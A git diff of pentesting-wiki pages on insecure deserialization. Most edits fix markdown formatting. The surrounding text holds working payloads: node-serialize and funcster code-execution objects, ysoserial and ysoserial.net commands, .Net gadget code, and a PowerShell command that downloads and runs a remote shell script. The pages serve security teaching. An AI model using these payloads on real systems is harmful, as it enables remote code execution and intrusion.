url="../file-inclusion/phar-deserialization.md" %} @@ -130,7 +130,7 @@ For more information about escaping from **pickle jails** check: [bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) {% endcontent-ref %} -### Yaml** & **jsonpickle +### Yaml **&** jsonpickle The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: @@ -175,9 +175,9 @@ Inside the file `node-serialize/lib/serialize.js` you can find the same flag and ![](<../../.gitbook/assets/image (298).png>) -As you may see in the last chunk of code,** if the flag is found** `eval` is used to deserialize the function, so basically** user input if being used inside the `eval` function**. +As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. -However, **just serialising **a function **won't execute it **as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ +However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: @@ -187,7 +187,7 @@ var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /' serialize.unserialize(test); ``` -As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will** execute it** using `eval`. Therefore, in order to **auto-execute code** you can** delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: +As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: ```javascript var serialize = require('node-serialize'); @@ -195,13 +195,13 @@ var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', funct serialize.unserialize(test); ``` -You can** **[**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)** further information** about how to exploit this vulnerability. +You can **** [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. ### [funcster](https://www.npmjs.com/package/funcster) The interesting difference here is that the **standard built-in objects are not accessible**, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use `console.log()` or `require(something)`, Node returns an exception like `"ReferenceError: console is not defined"`. -However, we can easily can get back access to everything because we still have access to the global context using something like ` this.constructor.constructor("console.log(1111)")();`: +However, we can easily can get back access to everything because we still have access to the global context using something like `this.constructor.constructor("console.log(1111)")();`: ```javascript funcster = require("funcster"); @@ -218,7 +218,7 @@ var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child funcster.deepDeserialize(desertest3) ``` -**For**[** more information read this page**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**For**[ **more information read this page**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### ****[**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)**** @@ -252,13 +252,13 @@ In the following pages you can find information about how to abuse this library ## Java - HTTP -The main problem with deserialized objects in Java is that **deserialization callbacks were invoked during deserialization**. This makes possible for an **attacker **to** take advantage of that callbacks** and prepare a payload that abuses the callbacks to **perform malicious actions**. +The main problem with deserialized objects in Java is that **deserialization callbacks were invoked during deserialization**. This makes possible for an **attacker** to **take advantage of that callbacks** and prepare a payload that abuses the callbacks to **perform malicious actions**. ### Fingerprints #### White Box -Search inside the code for serialization classes and function. For example, search for classes implementing `Serializable` , the use of `java.io.ObjectInputStream`_ _or `readObject`_ _or `readUnshare` functions_._ +Search inside the code for serialization classes and function. For example, search for classes implementing `Serializable` , the use of `java.io.ObjectInputStream` __ or `readObject` __ or `readUnshare` functions_._ You should also keep an eye on: @@ -271,7 +271,7 @@ You should also keep an eye on: #### Black Box -**Fingerprints/Magic Bytes** of **java serialised **objects (from `ObjectInputStream`): +**Fingerprints/Magic Bytes** of **java serialised** objects (from `ObjectInputStream`): * `AC ED 00 05` in Hex * `rO0` in Base64 @@ -286,7 +286,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ### Check if vulnerable -If you want to** learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). +If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). #### White Box Test @@ -297,35 +297,35 @@ find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -You could try to** check all the libraries** known to be vulnerable and that** **[**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -You could also use** **[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ +You could try to **check all the libraries** known to be vulnerable and that **** [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ +You could also use **** [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. #### Black Box Test -Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify** which libraries are available **(and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ -[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**. **\ -****GadgetProbe is focused on** `ObjectInputStream` **deserializations**.** +Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ +[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.** \ +****GadgetProbe is focused on ** `ObjectInputStream` ** deserializations**.** -Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries **exploitable with ysoserial and **exploit **them.\ -[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)** **\ +Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ +[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) **** \ ****Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. -You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`**related vulnerabilities but **also **vulns from **Json **an **Yml **deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ +You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`**related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ [**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)**** **Serialization Test** Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ -If you find a java serialized object being sent to a web application, **you can use **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)** to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. +If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. ### **Exploit** #### **ysoserial** -The most well-known tool to exploit HTTP deserializations is** **[**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)).\ -****Note that this tool is **focused **on exploiting **`ObjectInputStream`**.\ -I would **start using the "URLDNS"** payload **before a RCE **payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. +The most well-known tool to exploit HTTP deserializations is **** [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)).\ +****Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ +I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. ```bash # PoC to make the application perform a DNS req @@ -372,7 +372,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb base64 -w0 payload ``` -When creating a payload for** java.lang.Runtime.exec()** you **cannot use special characters **like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments **to a command separated by **spaces **(you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html). +When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html). Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page: @@ -399,12 +399,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') #### serialkillerbypassgadgets -You can **use **[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection)** along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) +You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) #### marshalsec -****[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json **and **Yml **serialization libraries in Java.\ -In order to compile the project I needed to **add **this **dependencies **to `pom.xml`: +****[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\ +In order to compile the project I needed to **add** this **dependencies** to `pom.xml`: ```markup @@ -421,7 +421,7 @@ In order to compile the project I needed to **add **this **dependencies **to `po ``` -**Install maven**, and **compile **the project: +**Install maven**, and **compile** the project: ```bash sudo apt-get install maven @@ -442,9 +442,9 @@ Read more about this Java JSON library: [https://www.alphabot.com/security/blog/ Java LOVES sending serialized objects all over the place. For example: * In **HTTP requests** – Parameters, ViewState, Cookies, you name it. -* **RMI **– The extensively used Java RMI protocol is 100% based on serialization -* **RMI over HTTP **– Many Java thick client web apps use this – again 100% serialized objects -* **JMX **– Again, relies on serialized objects being shot over the wire +* **RMI** – The extensively used Java RMI protocol is 100% based on serialization +* **RMI over HTTP** – Many Java thick client web apps use this – again 100% serialized objects +* **JMX** – Again, relies on serialized objects being shot over the wire * **Custom Protocols** – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come ### Prevention @@ -526,7 +526,7 @@ Example: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/co * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -* Java and .Net JSON deserialization** paper: **[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JMS - Java Message Service @@ -548,7 +548,7 @@ This means that in this exploitation all the **clients that are going to use tha You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability. -The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to** connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application. +The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application. ### References @@ -557,7 +557,7 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to** connect ## .Net -.Net is similar to Java regarding how deserialization exploits work: The **exploit **will **abuse gadgets **that **execute **some interesting **code when **an object is **deserialized**. +.Net is similar to Java regarding how deserialization exploits work: The **exploit** will **abuse gadgets** that **execute** some interesting **code when** an object is **deserialized**. ### Fingerprint @@ -572,28 +572,28 @@ Look for any serializers where the type is set by a user controlled variable. #### BlackBox -You can search for the Base64 encoded string **AAEAAAD///// **or any other thing that **may be deserialized** in the back-end and that allows you to control the deserialized type**. **For example, a **JSON **or **XML **containing `TypeObject` or `$type`. +You can search for the Base64 encoded string **AAEAAAD/////** or any other thing that **may be deserialized** in the back-end and that allows you to control the deserialized type**.** For example, a **JSON** or **XML** containing `TypeObject` or `$type`. ### ysoserial.net -In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to** create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example. +In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example. -If you want to learn about **how does ysoserial.net creates it's exploit **you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). -The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output` **and **`--plugin`.** +The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output` ** and **`--plugin`.** * **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands). * **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it) -* **`--output` **used to indicate if you want the exploit in **raw **or **base64 **encoded. _Note that **ysoserial.net** will **encode **the payload using** UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems **that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._ -* **`--plugin` **ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState +* **`--output` ** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._ +* **`--plugin` ** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState #### More ysoserial.net parameters -* `--minify` will provide a** smaller payload** (if possible) +* `--minify` will provide a **smaller payload** (if possible) * `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case) -* `--sf xml` you can** indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive) +* `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive) -**ysoserial examples **to create exploits: +**ysoserial examples** to create exploits: ```bash #Send ping @@ -613,8 +613,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` -**ysoserial.net** has also a** very interesting parameter** that helps to understand better how every exploit works: `--test`\ -If you indicates this parameter **ysoserial.net** will **try **the **exploit locally, **so you can test if your payload will work correctly.\ +**ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\ +If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\ This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java @@ -645,11 +645,11 @@ public static object JsonNet_deserialize(string str) ``` In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\ -Therefore the **`--test`** parameter allows us to understand** which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create. +Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create. ### ViewState -Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net **](exploiting-\_\_viewstate-parameter.md)to **execute arbitrary code. **If you** already know the secrets **used by the victim machine,** **[**read this post to know to execute code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** +Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-\_\_viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, **** [**read this post to know to execute code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** ### **Prevention** @@ -704,14 +704,14 @@ Try to keep any code that might create potential gadgets separate from any code ### **References** -* Java and .Net JSON deserialization** paper: **[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Ruby has two methods to implement serialization inside the **marshal **library: first method is **dump** that converts object into bytes streams **(serialize)**. And the second method is **load **to convert bytes stream to object again (**deserialize**).\ +Ruby has two methods to implement serialization inside the **marshal** library: first method is **dump** that converts object into bytes streams **(serialize)**. And the second method is **load** to convert bytes stream to object again (**deserialize**).\ Ruby uses HMAC to sign the serialized object and saves the key on one of the following files: * config/environment.rb diff --git a/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index f780cc47..66edd615 100644 --- a/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,22 +1,22 @@ # Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) -This post is dedicated to **understand how the gadget ObjectDataProvider is exploited **to obtain RCE and **how **the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget. +This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget. ## ObjectDataProvider Gadget From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ -Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters **_to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\ -Therefore, the arbitrary **object **will **execute **a **function **with **parameters while being deserialized.** +Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\ +Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.** ### **How is this possible** -The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll **(_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_). +The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_). Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../.gitbook/assets/image (299).png>) -As you can observe when `MethodName` is set` base.Refresh()` is called, lets take a look to what does it do: +As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do: ![](<../../.gitbook/assets/image (300).png>) @@ -30,7 +30,7 @@ Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**. -If you want to check that just setting the _**MethodName **_**it will be executed**, you can run this code: +If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code: ```java using System.Windows.Data; @@ -52,14 +52,14 @@ namespace ODPCustomSerialExample } ``` -Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_** **in order to load `System.Windows.Data` +Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ **** in order to load `System.Windows.Data` ## ExpandedWrapper -Using the previous exploit there will be cases where the **object **is going to be **deserialized as **an _**ObjectDataProvider **_**instance **(for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). +Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_** instance** (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\ -This is very useful for cases as the one presented before, because we will be able to **wrap **_**ObjectDataProvider **_**inside an **_**ExpandedWrapper** _instance and** when deserialized** this class will **create **the _**OjectDataProvider **_object that will **execute **the **function **indicated in _**MethodName**_. +This is very useful for cases as the one presented before, because we will be able to **wrap **_**ObjectDataProvider**_** inside an **_**ExpandedWrapper** _ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. You can check this wrapper with the following code: @@ -88,7 +88,7 @@ namespace ODPCustomSerialExample ## Json.Net -In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE **just deserializing an object. +In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object. ### Json.Net example @@ -154,7 +154,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" } ``` -In this code you can** test the exploit**, just run it and you will see that a calc is executed: +In this code you can **test the exploit**, just run it and you will see that a calc is executed: ```java using System; diff --git a/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md index 4cd39177..ed83d70c 100644 --- a/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md +++ b/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md @@ -4,10 +4,10 @@ In this POST it's going to be explained an example using java.io.Serializable. ## Serializable -The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized **and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html). +The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html). -Lets see an example with a** class Person** which is **serializable**. This class **overwrites the readObject **function, so when **any object **of this **class **is **deserialized **this **function **is going to b **executed**.\ -In the example, the **readObject function **of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are 